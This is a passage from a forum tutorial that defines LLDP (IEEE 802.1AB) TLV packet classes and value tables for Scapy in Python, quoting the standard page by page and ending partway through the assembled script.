             ConditionalField(IP6Field("ip6addr", "2001:db8::1"), lambda pkt: pkt.addrSubtype == 0x02),
                     ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.addrSubtype == 0x06),
             ConditionalField(StrLenField("dnsName", "SwitchInt0/1", length_from=lambda x: x.addrLen - 1), lambda pkt: pkt.addrSubtype == 0x10),
             ConditionalField(StrLenField("addrval", "", length_from=lambda x: x.addrLen - 1), lambda pkt: pkt.addrSubtype not in [0x01, 0x02, 0x06, 0x10]),
             ByteEnumField("ifSubtype", 0x02, _LLDPIfSubtypesManagementAddress),
             IntField("ifnumber", 0),
             FieldLenField("oidLen", None, length_of="oid", fmt="B"),
             StrLenField("oid", "", length_from=lambda x: x.oidLen)]

1.11 Define Type 127 -> Organization Specific

802.1AB-2009.pdf - Page 35


LLDP provides the possibility to send additional organization specific values which are separated into two different subtypes.

Code: (python) [Select]
_LLDPOrgSpecific = {0x00120f: "IEEE 802.3 Subtypes",
            0x0080c2: "IEEE 802.1 Subtypes"}
           
1.12 Define 802.3 Subtypes

802.1AB-2009.pdf - Page 165


Code: (python) [Select]
_LLDPOrgSpecificDot3 = {0x01: "MAC/PHY Configuration/Status",
            0x02: "Power Via MDI",
            0x03: "Link Aggregation",
            0x04: "Maximum Frame Size"}

1.13 Define 802.1 Subtypes

802.1AB-2009.pdf - Page 127

       
Code: (python) [Select]
_LLDPOrgSpecificDot1 = {0x01: "Port VLAN ID",
            0x02: "Port and Protocol VLAN ID",
            0x03: "VLAN Name",
            0x04: "Protocol Identity",
            0x05: "VID Usage Digest",
            0x06: "Management VID",
            0x07: "Link Aggregation"}

802.1 Subtypes 0x05 - 0x07 are defined as you can see in the IEEE document but they are not used and wireshark show them as unknown TLV. This is the reason why I don't use them in the following fuzzer. But to have a complete implementation I added them to scapy.

1.14 Define 802.3 Subtype 1 -> MAC/PHY Configuration/Status

802.1AB-2009.pdf - Page 166


802.1AB-2009.pdf - Page 166


Quote from: 802.1AB-2009.pdf - Page 166
The operational MAU type field contains an integer value indicating the MAU type of the sending device. This value is derived from the list position of the corresponding dot3MauType as listed in IETF RFC 4836 (or subsequent revisions) and is equal to the last number in the respective dot3MauType OID. For example, if the ifMauType object is dot3MauType1000BaseTHD which corresponds to ‘dot3MauType 29’, the numerical value of this field is 29. For MAU types not listed in IETF RFC 4836 (or subsequent revisions), the value of this field shall be set to zero. For more information, see IEEE Std 802.3.

Operational MAU type options from: http://www.iana.org/assignments/ianamau-mib/ianamau-mib
Code: [Select]
SYNTAX       BITS {
              bOther(0),          -- other or unknown
              bAUI(1),            -- AUI
              b10base5(2),        -- 10BASE-5
              bFoirl(3),          -- FOIRL

              b10base2(4),        -- 10BASE-2
              b10baseT(5),        -- 10BASE-T duplex mode unknown
              b10baseFP(6),       -- 10BASE-FP
              b10baseFB(7),       -- 10BASE-FB
              b10baseFL(8),       -- 10BASE-FL duplex mode unknown
              b10broad36(9),      -- 10BROAD36
              b10baseTHD(10),     -- 10BASE-T  half duplex mode
              b10baseTFD(11),     -- 10BASE-T  full duplex mode
              b10baseFLHD(12),    -- 10BASE-FL half duplex mode
              b10baseFLFD(13),    -- 10BASE-FL full duplex mode
              b100baseT4(14),     -- 100BASE-T4
              b100baseTXHD(15),   -- 100BASE-TX half duplex mode
              b100baseTXFD(16),   -- 100BASE-TX full duplex mode
              b100baseFXHD(17),   -- 100BASE-FX half duplex mode
              b100baseFXFD(18),   -- 100BASE-FX full duplex mode
              b100baseT2HD(19),   -- 100BASE-T2 half duplex mode
              b100baseT2FD(20),   -- 100BASE-T2 full duplex mode

              b1000baseXHD(21),   -- 1000BASE-X half duplex mode
              b1000baseXFD(22),   -- 1000BASE-X full duplex mode
              b1000baseLXHD(23),  -- 1000BASE-LX half duplex mode
              b1000baseLXFD(24),  -- 1000BASE-LX full duplex mode
              b1000baseSXHD(25),  -- 1000BASE-SX half duplex mode
              b1000baseSXFD(26),  -- 1000BASE-SX full duplex mode
              b1000baseCXHD(27),  -- 1000BASE-CX half duplex mode
              b1000baseCXFD(28),  -- 1000BASE-CX full duplex mode
              b1000baseTHD(29),   -- 1000BASE-T half duplex mode
              b1000baseTFD(30),   -- 1000BASE-T full duplex mode

              b10GbaseX(31),      -- 10GBASE-X
              b10GbaseLX4(32),    -- 10GBASE-LX4

              b10GbaseR(33),      -- 10GBASE-R
              b10GbaseER(34),     -- 10GBASE-ER
              b10GbaseLR(35),     -- 10GBASE-LR
              b10GbaseSR(36),     -- 10GBASE-SR
              b10GbaseW(37),      -- 10GBASE-W
              b10GbaseEW(38),     -- 10GBASE-EW
              b10GbaseLW(39),     -- 10GBASE-LW
              b10GbaseSW(40),     -- 10GBASE-SW
              -- new since RFC 3636
              b10GbaseCX4(41),    -- 10GBASE-CX4
              b2BaseTL(42),       -- 2BASE-TL
              b10PassTS(43),      -- 10PASS-TS
              b100BaseBX10D(44),  -- 100BASE-BX10D
              b100BaseBX10U(45),  -- 100BASE-BX10U
              b100BaseLX10(46),   -- 100BASE-LX10
              b1000BaseBX10D(47), -- 1000BASE-BX10D
              b1000BaseBX10U(48), -- 1000BASE-BX10U
              b1000BaseLX10(49),  -- 1000BASE-LX10
              b1000BasePX10D(50), -- 1000BASE-PX10D
              b1000BasePX10U(51), -- 1000BASE-PX10U
              b1000BasePX20D(52), -- 1000BASE-PX20D
              b1000BasePX20U(53), -- 1000BASE-PX20U
              b10GbaseT(54),      -- 10GBASE-T
              b10GbaseLRM(55),    -- 10GBASE-LRM
              b1000baseKX(56),    -- 1000BASE-KX
              b10GbaseKX4(57),    -- 10GBASE-KX4
              b10GbaseKR(58),     -- 10GBASE-KR
              b10G1GbasePRXD1(59),-- 10/1GBASE-PRX-D1
              b10G1GbasePRXD2(60),-- 10/1GBASE-PRX-D2
              b10G1GbasePRXD3(61),-- 10/1GBASE-PRX-D3
              b10G1GbasePRXU1(62),-- 10/1GBASE-PRX-U1
              b10G1GbasePRXU2(63),-- 10/1GBASE-PRX-U2
              b10G1GbasePRXU3(64),-- 10/1GBASE-PRX-U3
              b10GbasePRD1(65),   -- 10GBASE-PR-D1
              b10GbasePRD2(66),   -- 10GBASE-PR-D2
              b10GbasePRD3(67),   -- 10GBASE-PR-D3
              b10GbasePRU1(68),   -- 10GBASE-PR-U1
              b10GbasePRU3(69),   -- 10GBASE-PR-U3
              b40GbaseKR4(70),     -- 40GBASE-KR4
              b40GbaseCR4(71),     -- 40GBASE-CR4
              b40GbaseSR4(72),     -- 40GBASE-SR4
              b40GbaseFR(73),      -- 40GBASE-FR
              b40GbaseLR4(74),     -- 40GBASE-LR4
              b100GbaseCR10(75),   -- 100GBASE-CR10
              b100GbaseSR10(76),   -- 100GBASE-SR10
              b100GbaseLR4(77),   -- 100GBASE-LR4
              b100GbaseER4(78)    -- 100GBASE-ER4
         }


Code: (python) [Select]
_LLDPAutoNegSupStat = {0x01: "Supported",
               0x02: "Enabled",
               0x03: "Supported and Enabled"}
                       
_LLDPPmdCapabilities = {1: "1000BASE-T (full duplex mode)",
            1024: "100BASE-TX (full duplex mode)",
            2048: "100BASE-TX (half duplex mode)",
            8192: "10BASE-T (full duplex mode)",
            16384: "10BASE-T (half duplex mode)",
            27649: "all",
            27648: "all except 1000BASE-T (full duplex mode)"}
                       
_LLDPOpMAUType = {0x00: "other or unknown",
          0x01: "AUI",
          0x02: "10BASE-5",
          0x03: "FOIRL",
          0x04: "10BASE-2",
          0x05: "10BASE-T duplex mode unknown",
          0x06: "10BASE-FP",
          0x07: "10BASE-FB",
          0x08: "10BASE-FL duplex mode unknown",
          0x09: "10BROAD36",
          0x0a: "10BASE-T  half duplex mode",
          0x0b: "10BASE-T  full duplex mode",
          0x0c: "10BASE-FL half duplex mode",
          0x0d: "10BASE-FL full duplex mode",
          0x0e: "100BASE-T4",
          0x0f: "100BASE-TX half duplex mode",
          0x10: "100BASE-TX full duplex mode",
          0x11: "100BASE-FX half duplex mode",
          0x12: "100BASE-FX full duplex mode",
          0x13: "100BASE-T2 half duplex mode",
          0x14: "100BASE-T2 full duplex mode",
          0x15: "1000BASE-X half duplex mode",
          0x16: "1000BASE-X full duplex mode",
          0x17: "1000BASE-LX half duplex mode",
          0x18: "1000BASE-LX full duplex mode",
          0x19: "1000BASE-SX half duplex mode",
          0x1a: "1000BASE-SX full duplex mode",
          0x1b: "1000BASE-CX half duplex mode",
          0x1c: "1000BASE-CX full duplex mode",
          0x1d: "1000BASE-T half duplex mode",
          0x1e: "1000BASE-T full duplex mode",
          0x1f: "10GBASE-X",
          0x20: "10GBASE-LX4",
          0x21: "10GBASE-R",
          0x22: "10GBASE-ER",
          0x23: "10GBASE-LR",
          0x24: "10GBASE-SR",
          0x25: "10GBASE-W",
          0x26: "10GBASE-EW",
          0x27: "10GBASE-LW",
          0x28: "10GBASE-SW",
          0x29: "10GBASE-CX4",
          0x2a: "2BASE-TL",
          0x2b: "10PASS-TS",
          0x2c: "100BASE-BX10D",
          0x2d: "100BASE-BX10U",
          0x2e: "100BASE-LX10",
          0x2f: "1000BASE-BX10D",
          0x30: "1000BASE-BX10U",
          0x31: "1000BASE-LX10",
          0x32: "1000BASE-PX10D",
          0x33: "1000BASE-PX10U",
          0x34: "1000BASE-PX20D",
          0x35: "1000BASE-PX20U",
          0x36: "10GBASE-T",
          0x37: "10GBASE-LRM",
          0x38: "1000BASE-KX",
          0x39: "10GBASE-KX4",
          0x3a: "10GBASE-KR",
          0x3b: "10/1GBASE-PRX-D1",
          0x3c: "10/1GBASE-PRX-D2",
          0x3d: "10/1GBASE-PRX-D3",
          0x3e: "10/1GBASE-PRX-U1",
          0x3f: "10/1GBASE-PRX-U2",
          0x40: "10/1GBASE-PRX-U3",
          0x41: "10GBASE-PR-D1",
          0x42: "10GBASE-PR-D2",
          0x43: "10GBASE-PR-D3",
          0x44: "10GBASE-PR-U1",
          0x45: "10GBASE-PR-U3",
          0x46: "40GBASE-KR4",
          0x47: "40GBASE-CR4",
          0x48: "40GBASE-SR4",
          0x49: "40GBASE-FR",
          0x4a: "40GBASE-LR4",
          0x4b: "100GBASE-CR10",
          0x4c: "100GBASE-SR10",
          0x4d: "100GBASE-LR4",
          0x4e: "100GBASE-ER4"}

class LLDPDot3MacPhyStatus(LLDPGeneric):
    name = "LLDP IEEE 802.3 MAC/PHY Configuration/Status"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x01, _LLDPOrgSpecificDot3),
             ByteEnumField("AutoNegStatus", 0x03, _LLDPAutoNegSupStat),
             BitEnumField("PMDcapabilities", 1, 16, _LLDPPmdCapabilities),
             BitEnumField("OperationalMAUType", 0x1e, 16, _LLDPOpMAUType)]

1.15 Define 802.3 Subtype 2 -> Power Via MDI

802.1AB-2009.pdf - Page 167


802.1AB-2009.pdf - Page 167


PSE Power Pair
Quote from: 802.1AB-2009.pdf - Page 167
The PSE power pair field shall contain an integer value as defined by the pethPsePortPowerPairs object in IETF RFC 3621.

Power Pairs from: http://www.ieee802.org/3/1/public/mib_modules/20120910/802dot3dot1C8mib.txt
Code: [Select]
pethPsePortPowerPairs OBJECT-TYPE
    SYNTAX INTEGER   {
               signal(1),
               spare(2)
     }

Power Class
Quote from: 802.1AB-2009.pdf - Page 168
The power class field shall contain an integer value as defined by the pethPsePortPowerClassifications
object in IETF RFC 3621.

Power Class from: http://www.ieee802.org/3/1/public/mib_modules/20120910/802dot3dot1C8mib.txt
Code: [Select]
pethPsePortPowerClassifications OBJECT-TYPE
     SYNTAX INTEGER   {
               class0(1),
               class1(2),
               class2(3),
               class3(4),
               class4(5)
     }


Quote from: 802.1AB-2009.pdf - Page 167
Three IEEE 802.3 PMD implementations (10BASE-T, 100BASE-TX, and 1000BASE-T) allow power to be supplied over the link for connected non-powered systems. The Power Via MDI TLV allows network management to advertise and discover the MDI power support capabilities of the sending IEEE 802.3 LAN station.

Code: (python) [Select]
_LLDPMDIPowerSupport = {0x01: "Port Class: PSE",
            0x02: "PSE MDI Power: Supported",
            0x03: "Port Class: PSE + PSE MDI Power: Supported",
            0x04: "PSE MDI Power Enabled: Yes",
            0x05: "Port Class: PSE + PSE MDI Power Enabled: Yes",
            0x06: "PSE MDI Power: Supported + PSE MDI Power Enabled: Yes",
            0x07: "Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes",
            0x08: "PSE Pairs Control Ability: Yes",
            0x09: "Port Class: PSE + PSE Pairs Control Ability: Yes",
            0x0a: "PSE Pairs Control Ability: Yes + PSE MDI Power: Supported",
            0x0b: "Port Class: PSE + PSE MDI Power: Supported + PSE Pairs Control Ability: Yes",
            0x0c: "PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
            0x0d: "Port Class: PSE + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
            0x0e: "PSE MDI Power: Supported + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
            0x0f: "Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes"}

_LLDPPSEPowerPair = {0x01: "the signal pairs only are in use",
             0x02: "the spare pairs only are in use"}
                   
_LLDPPowerClass = {0x00: "No Power",
           0x01: "class 0",
           0x02: "class 1",
           0x03: "class 2",
           0x04: "class 3",
           0x05: "class 4"}

class LLDPDot3PowerViaMDI(LLDPGeneric):
    name = "LLDP IEEE 802.3 Power Via MDI"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x02, _LLDPOrgSpecificDot3),
             ByteEnumField("MDIPowerSupport", 0x07, _LLDPMDIPowerSupport),
             ByteEnumField("PSEPowerPair", 0x01, _LLDPPSEPowerPair),
             ByteEnumField("PowerClass", 0x00, _LLDPPowerClass)]

1.16 Define 802.3 Subtype 3 -> Link Aggregation

802.1AB-2009.pdf - Page 132


802.1AB-2009.pdf - Page 132


Quote from: 802.1AB-2009.pdf - Page 132
The Link Aggregation TLV indicates whether the link is capable of being aggregated, whether the link is currently in an aggregation, as specified in IEEE Std 802.1AX, and if in an aggregation, the port identification of the aggregation.

Code: (python) [Select]
_LLDPAggregationStatus = {0x01: "Aggregation Capability: Yes",
              0x02: "Aggregation Status: Enabled",
              0x03: "Capable: Yes and Enabled: Yes"}

class LLDPDot3LinkAggregation(LLDPGeneric):
    name = "LLDP IEEE 802.3 Link Aggregation"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x03, _LLDPOrgSpecificDot3),
             ByteEnumField("AggregationStatus", 0x01, _LLDPAggregationStatus),
             BitField("AggregatedPortID", 0, 32)]


1.17 Define 802.3 Subtype 4 -> Maximum Frame Size

802.1AB-2009.pdf - Page 168


Quote from: 802.1AB-2009.pdf - Page 168
The Maximum Frame Size TLV indicates the maximum frame size capability of the implemented MAC and PHY.

Code: (python) [Select]
class LLDPDot3MaxFrameSize(LLDPGeneric):
    name = "LLDP IEEE 802.3 Maximum Frame Size"
    fields_desc=[BitEnumField("type", 0x7f, 7,  _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x04, _LLDPOrgSpecificDot3),
             BitField("MaxFrameSize", 1522, 16)]

1.18 Define 802.1 Subtype 1 -> Port VLAN ID

802.1AB-2009.pdf - Page 127


Quote from: 802.1AB-2009.pdf - Page 126
The Port VLAN ID TLV is an optional fixed length TLV that allows a VLAN bridge port to advertise the port’s VLAN identifier (PVID) that is associated with untagged or priority tagged frames (see IEEE 802.1Q- 2005, 8.4.4).

Code: (python) [Select]
class LLDPDot1PortVlanID(LLDPGeneric):
    name = "LLDP IEEE 802.1 Port VLAN ID"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x01, _LLDPOrgSpecificDot1),
             BitField("VlanIdentNr", 488, 16)]

1.19 Define 802.1 Subtype 2 -> Port and Protocol VLAN ID

802.1AB-2009.pdf - Page 128


802.1AB-2009.pdf - Page 129


Quote from: 802.1AB-2009.pdf - Page 128
The Port And Protocol VLAN ID TLV is an optional TLV that allows a bridge port to advertise a port and protocol VLAN ID.

Code: (python) [Select]
_LLDPFlags = {0x01: "Not Supported + Not Enabled",
          0x02: "Supported + Not Enabled",
          0x06: "Supported + Enabled"}

class LLDPDot1PortProtVlanID(LLDPGeneric):
    name = "LLDP IEEE 802.1 Port and Protocol VLAN ID"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x02, _LLDPOrgSpecificDot1),
             ByteEnumField("flags", 0x01, _LLDPFlags),
             BitField("VlanIdentNr", 488, 16)]

1.20 Define 802.1 Subtype 3 -> VLAN Name

802.1AB-2009.pdf - Page 129


Quote from: 802.1AB-2009.pdf - Page 129
The VLAN Name TLV is an optional TLV that allows an IEEE 802.1Q-compatible IEEE 802 LAN station to advertise the assigned name of any VLAN with which it is configured.

Code: (python) [Select]
class LLDPDot1VlanName(LLDPGeneric):
    name = "LLDP IEEE 802.1 VLAN Name"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x03, _LLDPOrgSpecificDot1),
             BitField("VID", 488, 16),
             BitField("VlanNameLength", None, 8),
             StrLenField("VlanName", "", length_from=lambda x: x.VlanNameLength - 1)]

1.21 Define 802.1 Subtype 4 -> Protocol Identity

802.1AB-2009.pdf - Page 130


Quote from: 802.1AB-2009.pdf - Page 130
The Protocol Identity TLV is an optional TLV that allows an IEEE 802 LAN station to advertise particular protocols that are accessible through the port.

Code: (python) [Select]
class LLDPDot1ProtoIdent(LLDPGeneric):
    name = "LLDP IEEE 802.1 Protocol Identity"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x04, _LLDPOrgSpecificDot1),
             BitField("ProtoIdentLength", None, 8),
             StrLenField("ProtoIdent", "", length_from=lambda x: x.ProtoIdentLength - 1)]

1.22 Define 802.1 Subtype 5 -> VID Usage Digest

802.1AB-2009.pdf - Page 131


Quote from: 802.1AB-2009.pdf - Page 131
The VID Usage Digest TLV is an optional TLV that allows an IEEE Std 802.1Q-compatible IEEE 802 LAN station to advertise the value of a VID Usage Digest associated with the system. The value of the VID Usage Digest is obtained by  applying the CRC32 function (IEEE Std 802.3-2008, 4.2.10) to a VID Usage Table having a fixed length of 128 octets. A bit of the VID Usage Table contains the value PBB-TE-USAGE (binary 1) if the corresponding element of the MST Configuration Table (IEEE Std 802.1Q-2005, 8.9.1) contains the value PBB-TE MSTID (hex FFE) and otherwise contains the value NON-PBB-TE-USAGE (binary 0).

VID Usage Digest
Quote from: 802.1AB-2009.pdf - Page 131
The VID Usage Digest field shall contain a VID Usage Digest value obtained by applying the CRC32 function to the 128-octet VID Usage Table. A bit of the VID Usage Table contains the value PBB-TE- USAGE (binary 1) if the corresponding element of the MST Configuration Table (IEEE Std 802.1Q-2005, 8.9.1) contains the value PBB-TE MSTID (hex FFE) and otherwise contains the value NON-PBB-TE-USAGE (binary 0).

Code: (python) [Select]
_LLDPUsageDigest = {0x00000000: "NON-PBB-TEUSAGE",
            0x00000001: "PBB-TE-USAGE"}

class LLDPDot1VidUsageDigest(LLDPGeneric):
    name = "LLDP IEEE 802.1 VID Usage Digest"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x05, _LLDPOrgSpecificDot1),
             BitEnumField("UsageDigest", 0x00000001, 32, _LLDPUsageDigest)]

1.23 Define 802.1 Subtype 6 -> Management VID

802.1AB-2009.pdf - Page 131


Quote from: 802.1AB-2009.pdf - Page 131
The Management VID TLV is an optional TLV that allows an IEEE 802.1Q-compatible IEEE 802 LAN station to advertise the value of a Management VID associated with the system.

Code: (python) [Select]
class LLDPDot1MgmtVid(LLDPGeneric):
    name = "LLDP IEEE 802.1 Management VID"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x06, _LLDPOrgSpecificDot1),
             BitField("MgmtVid", 0, 16)]

1.24 Define 802.1 Subtype 7 -> Link Aggregation

see 1.16 Define 802.3 Subtype 3 -> Link Aggregation

1.25 The complete Script

Code: (python) [Select]
#!/usr/bin/env python

# scapy.contrib.description = Link Layer Discovery Protocol
# scapy.contrib.status = untestet

###############################################################
# Created at Sunday 18th November by RedBullAddicted
# Evilzone.org -> redbulladdicted@gmx.de
###############################################################

from scapy.packet import *
from scapy.fields import *
from scapy.layers.inet6 import *

_LLDP_tlv_cls = {0x00: "LLDPDUEnd",
                 0x01: "LLDPChassisId",
                 0x02: "LLDPPortId",
                 0x03: "LLDPTTL",
                 0x04: "LLDPPortDescription",
                 0x05: "LLDPSystemName",
                 0x06: "LLDPSystemDescription",
                 0x07: "LLDPSystemCapabilities",
                 0x08: "LLDPManagementAddress",
                 0x7f: "LLDPOrganizationalSpecific"}

_LLDP_tlv_types = {0x00: "End of LLDPDU",
                   0x01: "Chassis Id",
                   0x02: "Port Id",
                   0x03: "Time to Live",
                   0x04: "Port Description",
                   0x05: "System Name",
                   0x06: "System Description",
                   0x07: "System Capabilities",
                   0x08: "Management Address",
                   0x7f: "Organization Specific"}
                   

###############################################################
# LLDP Generic
###############################################################   

def _LLDPGuessPayloadClass(p, **kargs):
    cls = Raw
    if len(p) >= 2:
        t = struct.unpack("!H", p[:2])[0]
        clsname = _LLDP_tlv_cls.get(t, "LLDPGeneric")
        cls = globals()[clsname]

    return cls(p, **kargs)

class LLDPGeneric(Packet):
    name = "LLDP Generic Message"
    fields_desc = [ XShortEnumField("type", None, _LLDP_tlv_types),
                    FieldLenField("len", None, "val", "!H"),
                    StrLenField("val", "", length_from=lambda x:x.len - 4) ]


    def guess_payload_class(self, p):
        return Padding # _LLDPGuessPayloadClass

   
###############################################################
# TLV LLDP End of LLDPDU
###############################################################   

class LLDPEndOfPdu(LLDPGeneric):
    name = "LLDP End of LLDPDU"
    fields_desc=[BitEnumField("type", 0x00, 7, _LLDP_tlv_types),
    BitField("length", 0x00, 9)]

###############################################################
# TLV LLDP Chassis ID (mandatory)
###############################################################
                   
_LLDPSubtypesChassisID = {0x00: "Reserved",
              0x01: "Chassis Component",
              0x02: "Interface Alias",
              0x03: "Port Component",
              0x04: "MAC Address",
              0x05: "Network Address",
              0x06: "Interface Name",
              0x07: "Locally Assigned"}

_LLDPSubtypesipfamily = {0x01: "IPv4",
             0x02: "IPv6"}
                 

class LLDPChassisID(LLDPGeneric):
    name = "LLDP Chassis ID"
    fields_desc=[BitEnumField("type", 0x01, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             ByteEnumField("subtype", 0x04, _LLDPSubtypesChassisID),
             ConditionalField(StrLenField("reserved", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x00),
             ConditionalField(StrLenField("chassisComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x01),
             ConditionalField(StrLenField("intAlias", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x02),
             ConditionalField(StrLenField("portComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x03),
              ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 0x04),
             ConditionalField(ByteEnumField("ipaddrfam", 0x01, _LLDPSubtypesipfamily),lambda pkt: pkt.subtype == 0x05),
             ConditionalField(IP6Field("ipaddr", "2001:0db8:0000:08d3:0000:8a2e:0070:7344"), lambda pkt: pkt.ipaddrfam == 0x02),
             ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.ipaddrfam == 0x01),
             ConditionalField(StrLenField("intName", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x06),
             ConditionalField(StrLenField("localAssigned", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x07)]

###############################################################
# TLV LLDP Port ID (mandatory)
###############################################################

_LLDPSubtypesPortID = {0x00: "Reserved",
               0x01: "Interface Alias",
               0x02: "Port Component",
               0x03: "MAC Address",
               0x04: "Network Address",
               0x05: "Interface Name",
               0x06: "Agent Circut ID",
               0x07: "Locally Assigned"}

class LLDPPortID(LLDPGeneric):
    name = "LLDP Port ID"
    fields_desc=[BitEnumField("type", 0x02, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             ByteEnumField("subtype", 0x04, _LLDPSubtypesPortID),
             ConditionalField(StrLenField("reserved", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x00),
             ConditionalField(StrLenField("intAlias", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x01),
             ConditionalField(StrLenField("portComponent", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x02),
             ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.subtype == 0x03),
             ConditionalField(IPField("ipaddr", "192.168.1.1"), lambda pkt: pkt.subtype == 0x04),
             ConditionalField(StrLenField("intName", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x05),
             ConditionalField(StrLenField("agentCircutID", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x06),
             ConditionalField(StrLenField("localAssigned", "", length_from=lambda x: x.length - 1), lambda pkt: pkt.subtype == 0x07)]

###############################################################
# TLV Time to Live TTL (mandatory)
###############################################################

class LLDPTTL(LLDPGeneric):
    name = "LLDP TTL"
    fields_desc=[BitEnumField("type", 0x03, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             ShortField("sec", 120)]

###############################################################
# TLV Port Description
###############################################################

class LLDPPortDescription(LLDPGeneric):
    name = "LLDP Port Description"
    fields_desc=[BitEnumField("type", 0x04, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             StrLenField("portDescription", "FastEthernet0/1", length_from=lambda x: x.length - 1)]

###############################################################
# TLV System Name
###############################################################

class LLDPSystemName(LLDPGeneric):
    name = "LLDP System Name"
    fields_desc=[BitEnumField("type", 0x05, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             StrLenField("systemName", "Switch", length_from=lambda x: x.length - 1)]
             
###############################################################
# TLV System Description
###############################################################

class LLDPSystemDescription(LLDPGeneric):
    name = "LLDP System Description"
    fields_desc=[BitEnumField("type", 0x06, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             StrLenField("systemDescription", "Firmware Version 7.1", length_from=lambda x: x.length - 1)]
             
###############################################################
# TLV System Capabilities
###############################################################
             
_LLDPCapabilities = {1: "other",
             2: "repeater",
             4: "bridge",
             8: "wlanap",
             16: "router",
             32: "telephone",
             64: "docsiscable",
             128: "stationonly",
             256: "cvlanbridge",
             512: "svlanbridge",
             1024: "tpmr"}
             
class LLDPSystemCapabilities(LLDPGeneric):
    name = "LLDP System Capabilities"
    fields_desc=[BitEnumField("type", 0x07, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             BitEnumField("capabilities", 4, 16, _LLDPCapabilities),
             BitEnumField("enabledCapabilities", 4, 16, _LLDPCapabilities)]

###############################################################
# TLV Management Address
###############################################################

_LLDPSubtypesManagementAddress = {0x01: "IPv4",
                  0x02: "IPv6",
                  0x06: "802",
                  0x10: "DNS Name"}
                                 
_LLDPIfSubtypesManagementAddress = {0x01: "Unknown",
                    0x02: "IfIndex",
                           0x03: "System Port Number"}
                                   
class LLDPMgmtAddress(LLDPGeneric):
    name = "LLDP System Capabilities"
    fields_desc=[BitEnumField("type", 0x08, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             ByteField("addrLen", None),
             ByteEnumField("addrSubtype", 0x01, _LLDPSubtypesManagementAddress),
             ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt: pkt.addrSubtype == 0x01),
             ConditionalField(IP6Field("ip6addr", "2001:db8::1"), lambda pkt: pkt.addrSubtype == 0x02),
                     ConditionalField(MACField("macaddr", "00:11:22:33:44:55"), lambda pkt: pkt.addrSubtype == 0x06),
             ConditionalField(StrLenField("dnsName", "SwitchInt0/1", length_from=lambda x: x.addrLen - 1), lambda pkt: pkt.addrSubtype == 0x10),
             ConditionalField(StrLenField("addrval", "", length_from=lambda x: x.addrLen - 1), lambda pkt: pkt.addrSubtype not in [0x01, 0x02, 0x06, 0x10]),
             ByteEnumField("ifSubtype", 0x02, _LLDPIfSubtypesManagementAddress),
             IntField("ifnumber", 0),
             FieldLenField("oidLen", None, length_of="oid", fmt="B"),
             StrLenField("oid", "", length_from=lambda x: x.oidLen)]
             
###############################################################
# TLV Organisation Specific 802.3 Subtypes
###############################################################

